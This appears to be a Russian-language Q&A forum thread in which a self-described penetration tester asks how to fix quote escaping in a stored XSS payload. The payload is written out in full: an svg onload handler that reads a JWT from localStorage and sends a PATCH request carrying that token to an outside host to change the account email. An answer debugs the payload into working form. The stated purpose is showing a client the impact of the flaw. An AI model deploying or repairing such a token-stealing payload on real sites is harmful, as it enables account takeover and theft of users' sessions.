кавычки на xmlhttp post json data (javscript), сообщающие об ошибках при отправке внутри другой переменной json - PullRequest
0 голосов
/ 22 мая 2019

Я провожу аудит веб-приложения на предмет уязвимостей для клиента.Я нашел xss, но хочу увеличить его, но проблема, с которой я сталкиваюсь, заключается в том, что данные отправляются внутри json.И теперь, когда я ввожу в него запрос xmlhttp, который нуждается в двойных кавычках для отправки своих данных POST.Вот почему проблема заключается в экранировании этих кавычек.

Я попытался экранировать его двумя обратными слешами, но запрос не прошел.Но когда я отправил запрос с одним обратным слешем в полезной нагрузке, запрос успешно завершился, но выполнение javascript не удалось

Таким образом, в основном проблема заключается в том, что данные отправляются следующим образом:

POST {"x": "y", "html": "javascript code"}

Моя полезная нагрузка xss такова:

POST 

DATA
{"x":"y","html":"<svg onload=\"var token=localStorage.getItem('murally.jwt');
alert(token);
var xhr=new XMLHttpRequest();xhr.open('PATCH','https://x.com',true);
xhr.setRequestHeader('Accept', 'application/json');xhr.setRequestHeader('Content-Type','application/json; charset=utf-8');
xhr.setRequestHeader('Authorization', 'Bearer ' + token);var body='{\"email\":\"xxx@xxx.com\"}';
xhr.send(JSON.stringify(body));
xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status 
== 200) { alert(xhr.responseText) }};\"/>"}

Теперь в этом я застрял с двух сторон:

1)Когда я отправляю тот же код, что и выше, в запросе, данные сохраняются на стороне сервера, но когда я загружаю страницу, на которой они хранятся, в консоли возникает ошибка, что SyntaxError: '' строковый литерал содержит неэкранированный разрыв строки, поэтому моя полезная нагрузка неработает и терпит неудачу.

2) После поиска в Интернете я нашел решение, описанное выше, мне нужно дважды экранировать кавычки в данных поста, чтобы браузер правильно его проанализировал, но когда я снова отправляю этот запросс двойной обратной косой чертой возникла еще одна проблема: запрос завершился с ошибкой {"error": "INVALID_PAYLOAD", "message": "Malformed JSON"}

Так что теперь мне нужно как-то сделать этот запросработать правильно, минуя обе ошибки, есть ли решение этой проблемы.Я не сильно занимаюсь разработкой, поэтому, если любая помощь будет высоко оценена.Я хочу показать моему клиенту сильное влияние xss на то, как xss может привести к захвату аккаунта.Если есть способ смягчить обе эти проблемы с помощью правильного побега, пожалуйста, помогите мне.Если вам нужна дополнительная информация, не стесняйтесь спрашивать.

Спасибо.

1 Ответ

0 голосов
/ 24 мая 2019

В вашей полезной нагрузке есть 2 проблемы:

  1. Для значения поля html не следует вводить разрыв строки - это приведет к ошибке "незаполненный разрыв строки".Вы можете удалить все разрывы строк и сохранить строку html в виде однострочного компактного текста.

  2. Для body в полезной нагрузке это может быть простой объект JavaScript, такой какvar body={email:'xxx@xxx.com'}; - в следующей строке кода она будет преобразована в строку JSON через JSON.stringify(body), двойные кавычки не нужны.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...